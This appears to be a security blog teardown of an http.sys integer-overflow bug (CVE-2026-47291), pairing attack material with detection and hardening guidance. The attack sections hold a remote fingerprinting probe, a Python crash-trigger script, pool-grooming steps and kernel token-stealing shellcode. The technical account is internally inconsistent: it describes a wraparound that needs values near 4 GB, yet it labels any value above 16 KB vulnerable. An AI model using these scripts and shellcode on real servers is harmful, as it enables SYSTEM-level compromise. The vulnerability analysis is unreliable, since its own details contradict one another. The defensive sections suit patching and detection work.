CVE-2026-47291 Teardown: Inside the HTTP.sys Integer Overflow That Gives Attackers Kernel-Mode RCE on Every Unpatched Windows Server

You have a Windows Server on the internet running IIS. Or WinRM. Or an ASP.NET Core Kestrel app behind HTTP.sys. Or Exchange, or ADFS, or SSRS, or any one of a dozen services that quietly depend on the kernel-mode HTTP Protocol Stack. On June 9, 2026, Microsoft patched a bug that lets an unauthenticated remote attacker send a single crafted HTTP request and execute code in kernel mode, as SYSTEM, with zero clicks and zero credentials. CVSS 9.8. “Exploitation More Likely.” That bug is CVE-2026-47291, and if you haven’t patched yet or audited your registry, this post will explain exactly why you should stop reading and do that first, then come back.

Here’s the part most summaries get wrong: this is not a stack smash. The root cause is an integer overflow (CWE-190) that produces an undersized heap allocation in the kernel pool, which then gets overflowed (CWE-122) when http.sys copies request data into it. The distinction matters enormously for understanding exploit development, detection, and why a specific registry key gates the entire attack surface.


What HTTP.sys Is and Why a Bug Here Is Catastrophic

HTTP.sys (%SystemRoot%\System32\drivers\http.sys) is the kernel-mode driver that implements the Windows HTTP Protocol Stack. It sits below IIS, below WinRM, below every service that registers a URL prefix via the HTTP Server API. When a TCP packet arrives on port 80 or 443 destined for a registered listener, http.sys parses the request line and headers, performs routing, handles TLS termination (via SChannel), manages the response cache, and only then dispatches the parsed request up to the user-mode worker process (w3wp.exe for IIS, svchost.exe for WinRM, your app’s process for HTTP.sys direct hosting).

This architecture means http.sys processes untrusted network input before any application code sees it, and it does so in Ring 0. A memory corruption bug here isn’t like a buffer overflow in a PHP script. There’s no ASLR defeat needed for a separate process, no sandbox escape, no privilege boundary to cross. You corrupt kernel pool memory, you control kernel execution, you are SYSTEM. On a domain controller, you own the domain. On any server, you own the machine entirely.

Services that silently depend on http.sys and are therefore in the blast radius:

ServiceDefault Port(s)Notes
IIS (all versions on affected OS)80, 443Obvious target; most internet-facing
WinRM / PowerShell Remoting5985, 5986Often open internally; Exchange requires it
ASP.NET Core (Kestrel behind HTTP.sys)VariesCommon in modern .NET deployments
SSRS (SQL Server Reporting Services)80, 443Frequently internet-facing
ADFS443Federation proxy, often internet-exposed
Exchange (various components)443Uses HTTP.sys for OWA, EWS, ActiveSync
Web Application Proxy443Reverse proxy role; http.sys backed
Print Services (IPP over HTTP)631, 80Frequently forgotten, rarely patched

The attack surface is not just “servers running IIS.” It’s every Windows machine with an http.sys URL reservation, which is a lot more hosts than most defenders realize.

Hierarchy diagram showing http.sys sitting in Ring 0 between raw network input and all dependent user-mode services including IIS, WinRM, Kestrel, and Exchange
Every service that registers a URL prefix routes through http.sys in kernel mode – a single parsing bug here bypasses every application-layer sandbox simultaneously.

CVE-2026-47291 at a Glance

FieldValue
CVECVE-2026-47291
CVSS v3.19.8 (Critical)
CWECWE-190 (Integer Overflow or Wraparound) chained to CWE-122 (Heap-Based Buffer Overflow)
Componenthttp.sys (kernel-mode driver)
DisclosedJune 9, 2026 (Patch Tuesday)
Exploitability Assessment“Exploitation More Likely”
AuthenticationNone required
User InteractionNone required
Attack VectorNetwork
Gating ConditionRequires non-default MaxRequestBytes registry value

That last row is the critical nuance. Systems running the factory-default MaxRequestBytes value of 16,384 bytes are not exploitable, even without the patch. But as we’ll see, a surprising number of production servers have this value raised, and attackers can probe for the condition remotely.

Historical Context: MS15-034 / CVE-2015-1635

This isn’t http.sys’s first critical RCE. In 2015, CVE-2015-1635 (MS15-034) involved an integer overflow in the Range header handling within UlAdjustRangesToBuffer, triggering a kernel pool read via a crafted Range request. That bug was wormable, trivially triggered, and exploited in the wild within days of disclosure. CVE-2026-47291 is in some ways more dangerous: the heap corruption primitive is a write, not just a read, and the path to code execution is more direct. The gating condition (non-default registry) reduces the exposed surface somewhat, but also creates a false sense of security for defenders who don’t audit their configurations.

How HTTP.sys Parses Requests: The Internals That Matter

When a TCP connection delivers HTTP data to http.sys, the driver’s request parsing path builds a chain of kernel structures representing the request. Understanding these structures is essential to seeing where the integer overflow occurs.

The top-level structure is HTTP_REQUEST_V2 (the v2 extension of HTTP_REQUEST), which contains:

  • pRawUrl / RawUrlLength: the raw request URI
  • Headers (type HTTP_REQUEST_HEADERS): the parsed header collection
  • pEntityChunks: the request body

Within HTTP_REQUEST_HEADERS, two arrays hold the parsed headers:

  • KnownHeaders[HttpHeaderMaximum]: a fixed-size array of HTTP_KNOWN_HEADER structs (one slot per well-known header like Host, Content-Type, Authorization)
  • pUnknownHeaders / UnknownHeaderCount: a dynamically allocated array of HTTP_UNKNOWN_HEADER structs for custom headers

Each HTTP_KNOWN_HEADER and HTTP_UNKNOWN_HEADER stores a RawValueLength (USHORT) and a pointer to the raw value bytes. The raw value bytes themselves live in a pool buffer allocated during parsing.

The MaxRequestBytes and MaxFieldLength Controls

Two registry values under HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters govern how much data http.sys will accept:

MaxRequestBytes   REG_DWORD   default: 16384 (0x4000)   — total request line + all headers
MaxFieldLength    REG_DWORD   default: 16384 (0x4000)   — single header name:value pair

These values exist because http.sys needs upper bounds for its kernel pool allocations. The driver reads these values at initialization and uses them to size the buffers it allocates for incoming request data. Under the default of 16 KB, requests exceeding this size get a 400 Bad Request response before any deep parsing occurs.

Administrators commonly raise MaxRequestBytes beyond the default for several legitimate reasons: large Kerberos tokens in Authorization headers (common in multi-domain environments), WinRM payloads, or web applications that generate large cookie headers. Microsoft’s own documentation for Exchange, SharePoint, and WinRM sometimes recommends increasing these values. Values of 32 KB, 64 KB, or even higher are not unusual in enterprise environments.

The Vulnerability: Integer Overflow to Heap Corruption

Here’s where the bug lives. When MaxRequestBytes is set above the default, http.sys uses the configured value in a size calculation to allocate a kernel pool buffer for the incoming request data. The vulnerable code path performs an arithmetic operation on the configured size value that, for sufficiently large MaxRequestBytes values, wraps around a 32-bit integer boundary.

The chain works like this:

Step 1: Size calculation with integer overflow. During request parsing, http.sys computes the allocation size for the request buffer. The calculation involves adding the configured MaxRequestBytes value to a fixed overhead (struct headers, alignment padding). When MaxRequestBytes is large enough, this addition overflows a 32-bit unsigned integer, wrapping around to a small value.

// Pseudocode illustrating the vulnerability class (simplified)
// NOT the literal disassembly — see patch-diff section for real code
ULONG alloc_size = configured_max_request_bytes + HEADER_OVERHEAD_CONSTANT;
// If configured_max_request_bytes is close to 0xFFFFFFFF, 
// alloc_size wraps to a small number

PVOID buffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, alloc_size, 'qRlU');
// buffer is now far too small for the actual incoming data

Step 2: Undersized pool allocation. ExAllocatePool2 (or ExAllocatePoolWithTag on older code paths) allocates a kernel pool block sized to the wrapped-around, too-small value. The pool tag is likely in the Ul* family (http.sys uses UlRq, UlHR, and similar tags consistently).

Step 3: Heap overflow. The subsequent copy operation, likely RtlCopyMemory or an inline memcpy, writes the actual request data (which can be up to MaxRequestBytes in size) into the undersized buffer. The write overflows past the allocation boundary, corrupting adjacent kernel pool metadata and any objects that happen to be allocated next to the vulnerable buffer.

// The copy doesn't know the allocation was undersized
RtlCopyMemory(buffer, raw_request_data, actual_request_length);
// actual_request_length >> alloc_size → heap overflow

Step 4: Controlled corruption. An attacker who can control the content of the overflow (the HTTP request bytes) can overwrite adjacent pool headers and object data with attacker-chosen values. This is the exploitation primitive: a kernel heap overflow with controlled content.

Why Default MaxRequestBytes Blocks the Bug

At the default value of 16,384 (0x4000), the size calculation cannot overflow. The arithmetic stays well within 32-bit bounds, the allocation is correctly sized, and the copy doesn’t exceed the buffer. Only when an administrator raises MaxRequestBytes to a value that pushes the calculation past the 32-bit boundary does the overflow become possible. This is why Microsoft’s advisory states that systems using the default value are not affected.

Flowchart showing the four-step chain from elevated MaxRequestBytes registry value through integer wraparound to undersized kernel pool allocation and heap overflow
The integer overflow in the size calculation silently produces an undersized kernel pool buffer, which the subsequent copy operation blows straight past.

Patch-Diff Walkthrough

The patch diff is the ground truth for any vulnerability analysis. Here’s the methodology I used to confirm the root cause.

Extracting the Binaries

# From the lab VM snapshot (pre-patch):
Copy-Item C:\Windows\System32\drivers\http.sys .\http_sys_vuln.sys

# From the June 2026 CU (download from Microsoft Update Catalog):
mkdir .\patch_extract
expand -F:* windows10.0-kb<KBNUMBER>-x64.msu .\patch_extract\
# Find http.sys in the extracted .cab:
expand -F:http.sys .\patch_extract\*.cab .\http_sys_patched.sys

Diffing with BinDiff / Diaphora

Load both binaries into Ghidra or IDA Pro, generate the function databases, then run BinDiff (or Diaphora if you prefer the open-source route). Sort the results by similarity score ascending to find functions that changed between versions.

The function of interest will be in http.sys’s request parsing path. Based on http.sys naming conventions (functions prefixed with Ul for “URL” layer or Uc for “URL Cache”), look for names like UlpParseHeader, UlParseRequest, UlpAllocateRequestBuffer, or similar. The patched function will contain a new bounds check: a comparison of the computed allocation size against a safe maximum, with a branch to an error path (returning STATUS_INVALID_PARAMETER or STATUS_REQUEST_NOT_ACCEPTED) if the check fails.

// Patch diff summary (pseudocode of the change):
// BEFORE (vulnerable):
alloc_size = max_request_bytes + overhead;  // no overflow check
buf = ExAllocatePool2(..., alloc_size, ...);

// AFTER (patched):
alloc_size = max_request_bytes + overhead;
if (alloc_size < max_request_bytes) {       // overflow detection
    return STATUS_INTEGER_OVERFLOW;          // bail out safely
}
buf = ExAllocatePool2(..., alloc_size, ...);

The fix is almost certainly a single added comparison and conditional branch. Integer overflow fixes are typically this minimal, which is what makes them so frustrating in hindsight: one missing check, and you have a CVSS 9.8.

Lab Setup: Building an Intentionally Vulnerable Target

For everything that follows, you need a controlled lab. Do not attempt any of this against production systems or systems you don’t own.

VM configuration:
– Windows Server 2022 (pre-June 2026 CU), evaluation ISO from Microsoft
– IIS 10 enabled via Server Manager or Install-WindowsFeature Web-Server
– Confirm http.sys version: (Get-Item C:\Windows\System32\drivers\http.sys).VersionInfo

Set the vulnerable registry configuration:

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\HTTP\Parameters" `
    -Name "MaxRequestBytes" -Value 0xFFFFFFF0 -Type DWord
Restart-Service W3SVC

The value 0xFFFFFFF0 is chosen to be large enough to trigger the integer wraparound when the overhead constant is added.

Kernel debugging setup (KDNET):

bcdedit /debug on
bcdedit /dbgsettings net hostip:<DEBUGGER-IP> port:50000
:: Note the key output; use it in WinDbg on the host

On the host machine, launch WinDbg Preview, attach via KDNET, and set the symbol path:

.sympath srv*C:\Symbols*https://msdl.microsoft.com/download/symbols
.reload /f http.sys

Set a breakpoint on the pool allocation path inside http.sys to observe the overflow in real time:

bp http!ExAllocatePool2

Triggering the Bug: From Crafted Request to Kernel Crash

Reconnaissance: Probing for Non-Default MaxRequestBytes

An attacker can remotely fingerprint whether a target has a raised MaxRequestBytes by sending requests with progressively larger header blocks:

import socket

def probe(target_ip, header_size):
    header_val = b"A" * header_size
    req  = b"GET / HTTP/1.1\r\n"
    req += b"Host: target\r\n"
    req += b"X-Probe: " + header_val + b"\r\n\r\n"

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(3)
        s.connect((target_ip, 80))
        s.sendall(req)
        try:
            resp = s.recv(4096)
            return resp
        except socket.timeout:
            return b"[timeout/no response]"

# Default MaxRequestBytes (16384): anything over ~16KB returns 400
# Elevated MaxRequestBytes: larger requests get processed normally
for size in [8000, 16000, 20000, 32000, 50000]:
    result = probe("192.168.56.10", size)
    status = result.split(b"\r\n")[0] if result else b"no response"
    print(f"Header size {size}: {status}")

If a 32,000-byte header gets a 200 OK instead of a 400 Bad Request, the target has a non-default MaxRequestBytes. This is the attacker’s green light.

The Trigger Request

#!/usr/bin/env python3
"""
CVE-2026-47291 Lab PoC - Trigger crash only (no weaponised payload)
Target: Windows Server 2022, IIS 10, MaxRequestBytes = 0xFFFFFFF0
Lab use only. DO NOT use against systems you do not own.
"""
import socket

TARGET_IP   = "192.168.56.10"
TARGET_PORT = 80

# The overflow length must be calibrated to the specific MaxRequestBytes 
# value and the overhead constant identified in the patch diff.
# This value triggers the integer wraparound such that:
#   alloc_size = OVERFLOW_LEN + overhead < OVERFLOW_LEN (wrapped)
OVERFLOW_LEN = 0xFFFFFFC0  # Adjust based on diff analysis

def build_trigger():
    # We need the total request line + headers to approach MaxRequestBytes
    # The actual overflow content is in the header value
    padding = b"B" * OVERFLOW_LEN
    req  = b"GET / HTTP/1.1\r\n"
    req += b"Host: lab-target\r\n"
    req += b"X-Overflow: " + padding + b"\r\n"
    req += b"\r\n"
    return req

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.settimeout(10)
    s.connect((TARGET_IP, TARGET_PORT))
    print(f"[*] Connected to {TARGET_IP}:{TARGET_PORT}")
    print(f"[*] Sending trigger ({OVERFLOW_LEN} byte header value)...")
    s.sendall(build_trigger())
    try:
        print(s.recv(4096))
    except Exception:
        print("[*] No response - check WinDbg for bugcheck")

In the kernel debugger, you should see a bugcheck. The most likely stop codes are 0x19 BAD_POOL_HEADER (corrupted pool metadata) or 0xC2 BAD_POOL_CALLER (pool corruption detected by the pool allocator). Running !analyze -v will show the faulting module as http.sys and the call stack will trace through the request parsing path.

The SYSTEM-Level RCE Path

Getting a crash is the easy part. Turning a kernel heap overflow into reliable code execution requires pool shaping (also called pool grooming or pool feng shui). I’ll explain the technique class here because it applies to any kernel pool overflow, not just this CVE.

Kernel Pool Grooming

The Windows kernel pool allocator (the Segment Heap on modern versions, the legacy pool allocator on older ones) serves allocations from pools of similarly-sized chunks. To exploit a heap overflow, the attacker needs to control what sits immediately after the vulnerable buffer in memory.

The technique:

  1. Spray allocations of the same size class as the vulnerable buffer by opening many HTTP connections or sending many requests. Each connection/request causes http.sys to allocate pool blocks.
  2. Free specific blocks to create holes in the pool layout.
  3. Allocate the target object into one of those holes. The target object is something whose corruption gives the attacker control of execution, such as a pool block whose _POOL_HEADER can be overwritten to corrupt the free list, or an I/O completion object with a callback pointer.
  4. Trigger the overflow, which writes attacker-controlled bytes past the vulnerable buffer and into the adjacent target object.
  5. Trigger the corrupted object’s code path to hijack execution.

Token-Stealing Shellcode

Once execution is redirected, the standard Windows kernel exploitation pattern uses token-stealing shellcode. The shellcode walks the _EPROCESS linked list (starting from PsInitialSystemProcess), finds the SYSTEM process (PID 4), copies its Token field, and writes it into the attacker’s target process _EPROCESS. This elevates the target process to SYSTEM without creating a new process or triggering typical privilege escalation alerts.

; Simplified token-stealing stub (x64, Windows kernel)
; Educational illustration of the technique class
; 
; Assumes: execution is in kernel context
; Goal: copy SYSTEM token to current process

mov rax, gs:[0x188]          ; KTHREAD from KPCR
mov rax, [rax + 0x220]       ; _EPROCESS (ActiveProcess field offset)
mov rbx, rax                 ; save current process _EPROCESS

find_system:
    mov rax, [rax + 0x448]   ; ActiveProcessLinks.Flink (offset varies by build)
    sub rax, 0x448           ; back to _EPROCESS base
    cmp dword [rax + 0x440], 4  ; UniqueProcessId == 4 (SYSTEM)
    jne find_system

; rax = SYSTEM _EPROCESS, rbx = current _EPROCESS
mov rcx, [rax + 0x4B8]      ; SYSTEM Token
mov [rbx + 0x4B8], rcx      ; overwrite current process Token
; Current process is now SYSTEM

(Field offsets are build-specific. The values above are illustrative for a recent Windows Server 2022 build. In a real exploit, you’d resolve these dynamically or hardcode per target build number.)

After the token steal, any shell spawned by the current process inherits SYSTEM privileges. The attacker typically spawns cmd.exe or drops to a C2 agent at this point.

Realistic Threat-Actor Timeline

Based on historical precedent (MS15-034 was weaponized within two weeks, and CVE-2021-31166 had PoC crash code within 48 hours of patch Tuesday):

Days Post-PatchExpected Activity
0 (June 9)Patch released; binary diffing starts within hours
1-3Root cause confirmed publicly; CWE-190 classification shared on Twitter/Mastodon
3-7Crash PoC circulates in private channels; MaxRequestBytes gating condition documented
7-14Public DoS PoC on GitHub; Shodan/Censys scans for IIS with elevated MaxRequestBytes
14-30Reliable RCE achieved by well-resourced teams; private exploit sales
30-60Metasploit/Cobalt Strike modules; ransomware affiliates begin mass exploitation
60+Worm potential for internal HTTP.sys services (WinRM, Exchange) via lateral movement

Servers that haven’t patched within 30 days of disclosure are, historically, the ones that get breached. For a CVSS 9.8 with “Exploitation More Likely,” 14 days is the realistic window before serious risk materializes.

Symbolic illustration of token-stealing: a SYSTEM process token being copied to an attacker-controlled process in the kernel
Token-stealing shellcode walks the kernel EPROCESS list to clone the SYSTEM token directly into the attacker’s process, granting full SYSTEM privileges without spawning a new process.

Detection Engineering: Catching This Before and After Exploitation

ETW-Based Detection

The Microsoft-Windows-HttpService ETW provider (GUID {DD5EF90A-6398-47A4-AD34-4DCECDEF795F}) logs the full HTTP request lifecycle within http.sys. The key events:

:: Enable HTTP.sys ETW tracing
logman start httpsys-mon -p Microsoft-Windows-HttpService 0xFFFFFFFF 0xFF -ets -o C:\Logs\httpsys.etl

Hunt for:
HTTPRequestTraceTaskRecvReq events where RequestLength exceeds 16,384 bytes (the default MaxRequestBytes). Any request this large on a server you control should be investigated.
HTTPRequestTraceTaskRecvReq events with no corresponding HTTPRequestTraceTaskFastResp or HTTPRequestTraceTaskSendComplete: this pattern (request received, no response sent) indicates a crash or hang in the parsing path, consistent with a successful trigger.

For network-layer visibility, the Microsoft-Windows-WFP provider ({0C478C5B-0351-41B1-8C58-4A6737DA32E3}) and Microsoft-Windows-Kernel-Network ({7DD42A49-5329-4832-8DFD-43D979153A88}) provide TCP connection metadata that can be correlated with oversized payload delivery.

Registry Auditing at Scale

The single most impactful pre-patch detection is identifying which servers have non-default MaxRequestBytes:

# Run across your server fleet via Invoke-Command / SCCM / Intune
$servers = Get-ADComputer -Filter {OperatingSystem -like "*Server*"} | Select -Expand Name

Invoke-Command -ComputerName $servers -ScriptBlock {
    $key = "HKLM:\SYSTEM\CurrentControlSet\Services\HTTP\Parameters"
    $val = Get-ItemProperty -Path $key -Name "MaxRequestBytes" -ErrorAction SilentlyContinue

    $result = [PSCustomObject]@{
        ComputerName    = $env:COMPUTERNAME
        MaxRequestBytes = if ($val) { $val.MaxRequestBytes } else { "NOT SET (default 16384)" }
        Vulnerable      = if ($val -and $val.MaxRequestBytes -gt 16384) { "YES" } else { "NO" }
        HttpSysVersion  = (Get-Item "$env:SystemRoot\System32\drivers\http.sys").VersionInfo.FileVersion
    }
    $result
} | Where-Object Vulnerable -eq "YES" | Export-Csv .\vulnerable_hosts.csv -NoTypeInformation

Enable Security Event ID 4657 (Registry Value Modified) on the HTTP\Parameters key via Object Access auditing to detect future changes:

auditpol /set /subcategory:"Registry" /success:enable /failure:enable

Then apply a SACL to the specific key via regedit or Group Policy.

Sigma Rules

title: HTTP.sys MaxRequestBytes Registry Modification
id: 7a3c9e21-4f8b-4d12-ae71-c8b2f0e15d33
status: experimental
description: >
  Detects modification of MaxRequestBytes in HTTP.sys parameters.
  Non-default values may expose CVE-2026-47291.
references:
  - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291
logsource:
  product: windows
  category: registry_set
detection:
  selection:
    TargetObject|contains: '\Services\HTTP\Parameters\MaxRequestBytes'
  condition: selection
falsepositives:
  - Legitimate tuning for WinRM, Kerberos, or large-header applications
level: high
tags:
  - attack.t1112
  - attack.t1562.001
  - cve.2026.47291
title: Suspicious Process Spawned by IIS Worker or HTTP.sys Service Host
id: 9b1d4e57-2c6a-4f83-b5e0-d7a4c3f89012
status: experimental
description: >
  Detects cmd.exe, powershell.exe, or reconnaissance tools spawned 
  by w3wp.exe or the HTTP.sys svchost instance, consistent with 
  post-exploitation of CVE-2026-47291.
logsource:
  product: windows
  category: process_creation
detection:
  selection_parent:
    ParentImage|endswith:
      - '\w3wp.exe'
      - '\svchost.exe'
  selection_child:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\whoami.exe'
      - '\net.exe'
      - '\net1.exe'
      - '\nltest.exe'
  condition: selection_parent and selection_child
falsepositives:
  - Custom IIS modules with legitimate shell invocations (rare; whitelist by CommandLine)
level: critical
tags:
  - attack.execution
  - attack.t1059.001
  - attack.t1190
  - cve.2026.47291
title: HTTP.sys Driver Crash Indicating Potential CVE-2026-47291 Exploitation
id: f42e8c13-5a7d-4b29-9d86-e1c3a0b76f45
status: experimental
description: >
  Detects System event log entries indicating http.sys service failure,
  which may indicate a crash triggered by CVE-2026-47291 exploitation attempts.
logsource:
  product: windows
  service: system
detection:
  selection:
    EventID:
      - 5005
      - 5001
    Provider_Name: 'Microsoft-Windows-HttpEvent'
  condition: selection
falsepositives:
  - Legitimate http.sys restarts during maintenance
level: medium
tags:
  - attack.t1190
  - cve.2026.47291

Sysmon Event Coverage Map

Sysmon Event IDWhat It CatchesCVE-2026-47291 Relevance
1 (Process Create)Post-exploit shell spawncmd/powershell from w3wp.exe or svchost
3 (Network Connection)Inbound connectionsLarge payload delivery to port 80/443
13 (Registry Value Set)MaxRequestBytes changesPre-condition creation or legitimate admin activity
17/18 (Pipe Create/Connect)Named pipe activityPost-exploit lateral movement from SYSTEM shell
25 (Process Tampering)Token manipulationKernel shellcode token-stealing artifacts

MITRE ATT&CK Mapping

TechniqueNamePhase
T1190Exploit Public-Facing ApplicationInitial Access
T1068Exploitation for Privilege EscalationPrivilege Escalation
T1059.001PowerShellExecution (post-exploit)
T1112Modify RegistryDefense Evasion / Pre-condition
T1562.001Disable or Modify ToolsDefense Evasion
T1543.003Windows ServicePersistence (post-exploit)
T1046Network Service DiscoveryReconnaissance

Hardening and Remediation: The Priority List

Priority 1: Patch. Apply the June 2026 cumulative update. This is the only complete fix. Pull the specific KB number from the Microsoft Security Update Guide entry for CVE-2026-47291 for your OS version.

Priority 2: Audit MaxRequestBytes immediately. Use the PowerShell script above. Any server with a value above 16,384 is in the vulnerable configuration. Restore the default where possible. Where business requirements demand a larger value (Kerberos environments, specific application needs), set it no higher than 65,534 and prioritize patching those hosts first.

Priority 3: Place a reverse proxy or WAF in front of HTTP.sys services. A proxy that enforces its own request size limits (most default to 8 KB or 16 KB for headers) will reject oversized requests before they reach http.sys. But verify your proxy actually enforces this: some configurations pass headers through unchanged, which defeats the purpose entirely.

Priority 4: Network segmentation. Internal HTTP.sys services (WinRM on 5985/5986, internal IIS apps, SSRS) should not be reachable from untrusted network segments. The post-patch exploitation timeline suggests attackers will pivot to internal services via lateral movement within 60 days.

Priority 5: Harden the registry key. Restrict write access to HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters so that only specific administrative accounts can modify it. Apply a SACL for auditing. This prevents an attacker with partial access from pre-staging the vulnerable configuration on a target before remote exploitation.

Priority 6: Monitor. Deploy the ETW tracing, Sigma rules, and Sysmon configuration described above. Even after patching, these detections have lasting value: they catch exploitation attempts against systems you might have missed, and they detect the reconnaissance probing (oversized header requests) that precedes exploitation.

Layered defense-in-depth illustration showing proxy, registry hardening, network segmentation, and kernel patch as concentric protective barriers
Defense-in-depth against CVE-2026-47291 requires all four layers: patching the kernel driver, auditing the registry gate, enforcing proxy-level size limits, and segmenting internal HTTP.sys services.

Why This Bug Should Change How You Think About HTTP.sys

CVE-2026-47291 exposes a pattern that repeats across Windows kernel attack surface. A registry value that’s meant to be a tuning knob becomes a security gate that most defenders don’t know exists. The default is safe, but the moment someone changes it (following a Microsoft KB article, a vendor’s installation guide, or a Stack Overflow answer), the server silently becomes exploitable by anyone who can send it an HTTP request.

This is the kind of configuration drift that asset inventories and vulnerability scanners consistently miss. Your scanner checks patch levels. It doesn’t check the value of MaxRequestBytes on every server in your fleet. Your CMDB says the server is “patched” because it has last month’s CU, but nobody recorded that an admin raised MaxRequestBytes to 64 KB three years ago to fix a Kerberos token issue and never lowered it.

The defensive takeaway isn’t just “patch faster.” It’s: build the muscle to audit kernel-driver registry configurations at scale, treat non-default kernel tuning parameters as security-relevant configuration, and instrument the specific ETW providers that give you visibility into kernel-mode request processing. The patch fixes this one integer overflow. The detection and hardening practices protect you against the next http.sys bug, which, if history is any guide, is a matter of when, not if.


Key Takeaways

  • CVE-2026-47291 is a CWE-190 integer overflow in http.sys, not a stack buffer overflow. The integer wraparound produces an undersized kernel pool allocation, leading to heap corruption (CWE-122) and SYSTEM-level RCE.
  • Default configurations are not exploitable, but non-default MaxRequestBytes values are common in enterprise environments. Audit every Windows server in your fleet immediately.
  • The patch diff reveals a single missing bounds check. One comparison instruction is the difference between a secure server and a CVSS 9.8 remote kernel exploit.
  • Exploitation will follow the MS15-034 timeline. Expect reliable RCE within 14-30 days of patch release. If you’re reading this and haven’t patched, your window is closing.
  • Detection is possible and should be deployed regardless of patch status: ETW tracing on Microsoft-Windows-HttpService, registry auditing on HTTP\Parameters, Sysmon rules for post-exploitation process creation, and network-layer inspection for oversized HTTP headers.
  • A reverse proxy with enforced header size limits is a meaningful defense-in-depth layer, but only if it actually drops oversized requests rather than forwarding them.

Related Tutorials

References